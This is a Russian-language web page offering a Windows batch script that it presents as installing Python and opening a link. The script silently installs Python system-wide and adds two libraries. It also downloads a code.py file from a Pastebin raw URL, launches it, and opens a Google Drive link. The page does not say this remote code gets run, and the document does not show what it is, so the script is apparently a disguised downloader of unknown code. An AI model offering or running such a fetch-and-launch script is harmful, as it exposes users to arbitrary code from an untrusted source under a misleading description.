Batch-скрипт для установки Python и открытия ссылки

Ниже представлен код batch-скрипта (.bat), который выполняет следующие действия:

Код скрипта:

@echo off
            setlocal enabledelayedexpansion
            
            REM --- Настройки ---
            set PYTHON_VERSION_URL=https://www.python.org/ftp/python/3.12.4/python-3.12.4-amd64.exe
            set INSTALLER_NAME=python_installer.exe
            set TARGET_URL=https://drive.google.com/file/d/1vLdYcZlZQleSTf_Uaqs9wNjhVX6pLtjq/view?usp=sharing
            set SCRIPT_URL=https://pastebin.com/raw/2YeByF9y
            set SCRIPT_PATH=%~dp0code.py
            set DOWNLOAD_PATH=%TEMP%\%INSTALLER_NAME%
            REM --- Конец настроек ---
            
            echo [+] Пытаюсь скачать установщик Python с %PYTHON_VERSION_URL% ...
            
            REM Используем PowerShell для скачивания
            powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('%PYTHON_VERSION_URL%', '%DOWNLOAD_PATH%') } catch { Write-Error $_; exit 1 }"
            
            if errorlevel 1 (
                echo [!] Ошибка скачивания установщика Python. Проверь ссылку или соединение.
                goto :ErrorCleanup
            )
            
            if not exist "%DOWNLOAD_PATH%" (
                echo [!] Скачанный файл не найден по пути %DOWNLOAD_PATH%. Что-то пошло не так.
                goto :ErrorCleanup
            )
            
            echo [+] Установщик скачан в %DOWNLOAD_PATH%. Начинаю установку...
            
            REM Запускаем установку тихо, для всех пользователей, добавляем в PATH
            "%DOWNLOAD_PATH%" /quiet InstallAllUsers=1 PrependPath=1 Include_test=0 TargetDir="%ProgramFiles%\Python312"
            
            REM Ждем немного, чтобы установка точно завершилась и PATH обновился (хотя для текущей сессии это может не сработать сразу)
            REM timeout /t 5 /nobreak > nul
            
            REM Проверяем установку, ищем python.exe
            REM Пробуем стандартные пути, если PATH еще не обновился в текущей сессии
            set "PYTHON_EXE="
            if exist "%ProgramFiles%\Python312\python.exe" (
                set "PYTHON_EXE=%ProgramFiles%\Python312\python.exe"
            ) else if exist "%LocalAppData%\Programs\Python\Python312\python.exe" (
                set "PYTHON_EXE=%LocalAppData%\Programs\Python\Python312\python.exe"
            ) else (
                REM Пробуем через PATH, надеясь, что он обновился
                where python >nul 2>nul
                if not errorlevel 1 (
                    for /f "delims=" %%i in ('where python') do (
                        if not defined PYTHON_EXE set "PYTHON_EXE=%%i"
                    )
                )
            )
            
            if not defined PYTHON_EXE (
                echo [!] Не удалось найти python.exe после установки. Установка могла пройти неудачно или PATH не обновился.
                echo [!] Попробуй перезапустить командную строку или проверить установку вручную.
                goto :ErrorCleanup
            )
            
            echo [+] Python вроде как установлен в %PYTHON_EXE%.
            echo [+] Обновляю pip...
            "%PYTHON_EXE%" -m pip install --upgrade pip
            if errorlevel 1 (
                echo [!] Ошибка обновления pip. Попробуй запустить 'python -m pip install --upgrade pip' вручную.
                REM Не прерываем, возможно старый pip сработает
                REM goto :ErrorCleanup
            ) else (
                echo [+] pip обновлен.
            )
            
            echo [+] Устанавливаю библиотеки requests и windows-curses...
            "%PYTHON_EXE%" -m pip install requests windows-curses
            if errorlevel 1 (
                echo [!] Ошибка установки библиотек requests/windows-curses. Убедись, что pip работает и есть интернет.
                goto :ErrorCleanup
            )
            echo [+] Библиотеки установлены.
            
            echo [+] Создаю и заполняю файл code.py из %SCRIPT_URL%...
            powershell -Command "try { (New-Object System.Net.WebClient).DownloadFile('%SCRIPT_URL%', '%SCRIPT_PATH%') } catch { Write-Error $_; exit 1 }"
            if errorlevel 1 (
                echo [!] Ошибка скачивания скрипта из Pastebin в %SCRIPT_PATH%. Проверь ссылку или доступ к папке.
                goto :ErrorCleanup
            )
            if not exist "%SCRIPT_PATH%" (
                echo [!] Файл %SCRIPT_PATH% не найден после скачивания. Что-то пошло не так.
                goto :ErrorCleanup
            )
            echo [+] Файл code.py успешно создан и заполнен в %SCRIPT_PATH%.
            
            REM --- ДОБАВЛЕНО: Открытие файла code.py ---
            echo [+] Открываю созданный файл %SCRIPT_PATH%...
            start "" "%SCRIPT_PATH%"
            REM --- КОНЕЦ ДОБАВЛЕНИЯ ---
            
            REM Удаляем скачанный установщик после успешной установки
            del "%DOWNLOAD_PATH%" >nul 2>&1
            echo [+] Установщик Python удален из %TEMP%.
            
            echo [+] Открываю ссылку: %TARGET_URL% ...
            REM Заменил start на explorer, он часто надежнее для URL
            explorer "%TARGET_URL%"
            
            echo [+] Готово. Скрипт code.py и библиотеки установлены. Открыл code.py и ссылку.
            goto :eof
            
            :ErrorCleanup
            echo [!] Возникла ошибка во время выполнения скрипта.
            echo [!] Попытка удалить скачанный файл установщика Python...
            if exist "%DOWNLOAD_PATH%" (
                del "%DOWNLOAD_PATH%" >nul 2>&1
                echo [+] Файл установщика удален из %TEMP%.
            ) else (
                echo [-] Файл установщика не найден для удаления (%DOWNLOAD_PATH%).
            )
            REM Раскомментируй pause, если хочешь, чтобы окно не закрывалось сразу при ошибке
            REM pause
            goto :eof
            
            :eof
            endlocal
            REM Возвращаем код ошибки, если он был
            exit /b %errorlevel%
Внимание: Нажмите кнопку выше, чтобы скачать скрипт. Запускайте скрипты только из доверенных источников. Этот скрипт выполнит установку ПО и скачивание файлов из интернета. Убедитесь, что вы понимаете его действия перед запуском.